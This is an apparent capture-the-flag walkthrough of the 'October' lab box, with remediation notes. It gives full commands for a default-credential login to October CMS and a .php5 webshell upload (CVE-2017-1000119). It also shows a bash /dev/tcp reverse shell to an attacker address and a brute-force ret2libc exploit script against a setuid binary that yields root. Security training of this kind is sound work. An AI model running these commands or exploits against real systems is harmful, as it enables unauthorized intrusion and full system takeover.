October
Summary
I discovered an October CMS installation on the only exposed service (port 80) and authenticated to its admin backend using the unchanged factory-default credential. An authenticated file-upload bypass (CVE-2017-1000119) allowed a PHP webshell to be planted in the publicly reachable media directory by renaming it with the .php5 extension, which bypassed the CMS blacklist but was still executed by Apache as PHP.
The resulting remote code execution as the web-server account (www-data) gave direct read access to a world-readable user home directory for the first flag. Full system compromise followed when a custom setuid-root binary was found to contain a stack buffer overflow: a ret2libc payload using the target's own libc symbol offsets was brute-forced against the ASLR-randomised libc base in a tight loop until a random-address match caused the binary to execute /bin/sh as root.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 3
Identify web server version and CMS via HTTP response headers and page title.
$ nmap -sV -sC -p 80 $TARGETDiscover public exploits. Returns EDB-47376 (CVE-2017-1000119 — authenticated upload bypass) as the relevant hit.
$ searchsploit "October CMS"Confirm the admin login panel is reachable unauthenticated from the network.
$ curl -sI http://$TARGET/backend/backend/auth/signinExact commands 2
Fetch the login page and extract the embedded _session_key and CSRF _token values required by the form.
$ T="http://$TARGET"; J=$(mktemp); H=$(curl -sS -c "$J" "$T/backend/backend/auth/signin"); S=$(printf '%s' "$H" | grep -oP 'name="_session_key"[^>]*value="\K[^"]+' | head -1); K=$(printf '%s' "$H" | grep -oP 'name="_token"[^>]*value="\K[^"]+' | head -1)Authenticate with default admin:admin. A 302 redirect to /backend/backend and a new october_session cookie confirms successful login.
$ curl -sS -i -b "$J" -c "$J" -X POST "$T/backend/backend/auth/signin" --data-urlencode "_session_key=$S" --data-urlencode "_token=$K" --data-urlencode "postback=1" --data-urlencode "login=admin" --data-urlencode "password=admin"FixReplace the factory-default CMS administrator passwordCritical
Exact commands 2
Write a minimal PHP webshell locally. The .php5 extension is absent from the October CMS blacklist.
$ printf '<?php system($_GET["cmd"]); ?>' > /tmp/cmd.php5Upload through the authenticated media manager. A JSON response containing 'result':'success' and a /storage/app/media/ path confirms the shell is live. The exact endpoint can be verified from EDB-47376.
$ curl -sS -b "$J" -c "$J" -X POST "http://$TARGET/backend/cms/media/upload" -F "file=@/tmp/cmd.php5;type=application/octet-stream" -F "path=/"FixPatch October CMS and disable PHP execution inside the upload directoryCritical
Exact commands 1
Verify RCE context. Expected output: uid=33(www-data) gid=33(www-data).
$ curl -sS "http://$TARGET/storage/app/media/cmd.php5" --get --data-urlencode 'cmd=id'Exact commands 2
Start a listener on my machine ($ATTACKER_IP) before triggering the callback.
$ nc -lvnp 4445Trigger the bash reverse shell. A connection appears in the nc listener as www-data.
$ curl -sS "http://$TARGET/storage/app/media/cmd.php5" --get --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/'"$ATTACKER_IP"'/4445 0>&1"'Exact commands 2
Confirm world-readable permissions on harry's home directory and user.txt.
$ ls -la /home/harry/Read the user flag as www-data. Value: <user.txt>.
$ cat /home/harry/user.txtFixRestrict home directory permissions to prevent cross-account file accessMedium
Exact commands 3
Enumerate every SUID binary on the filesystem.
$ find / -xdev -perm -4000 -type f 2>/dev/null | sortConfirm 32-bit ELF, dynamic linking, and resolve the runtime path to libc.so.6.
$ file /usr/local/bin/ovrflw && ldd /usr/local/bin/ovrflwCheck ASLR state. A value of 2 means full address randomisation is active.
$ cat /proc/sys/kernel/randomize_va_spaceExact commands 6
Extract the symbol file-offsets for system() and exit() from the target's own libc.
$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -E ' (system|exit)@@'Get the file-offset of the /bin/sh string within libc.
$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep '/bin/sh' | head -1Write the brute-force ret2libc exploit. Adjust the starting base if the loop does not converge within ~65 000 iterations.
$ cat > /tmp/ovr2.py << 'EOF'
import struct, subprocess, sys
OFFSET = 112
SYS_OFF = 0x40310
EXIT_OFF = 0x33260
BSH_OFF = 0x162bac
base = 0xb73d0000
while True:
pay = b'A' * OFFSET
pay += struct.pack('<I', base + SYS_OFF)
pay += struct.pack('<I', base + EXIT_OFF)
pay += struct.pack('<I', base + BSH_OFF)
p = subprocess.Popen(['/usr/local/bin/ovrflw'],
stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, _ = p.communicate(pay)
if p.returncode == 0:
sys.stdout.write(out.decode('utf-8', errors='replace'))
sys.stdout.flush()
break
base += 0x1000
EOFRun the exploit in the background; redirect root-shell output to a web-accessible path so it can be polled via HTTP.
$ nohup python2 /tmp/ovr2.py > /var/www/html/cms/storage/app/media/rootout.txt 2>&1 &Poll for results. A non-empty file confirms the loop succeeded and root-context output is captured.
$ curl -sS "http://$TARGET/storage/app/media/rootout.txt" | tail -20Read the root flag once root shell access is confirmed. Value: <root.txt>.
$ cat /root/root.txtFixRemove the vulnerable SUID binary and apply modern compile-time hardeningCritical
Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 80/tcp | http Apache httpd 2.4.7 ((Ubuntu)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.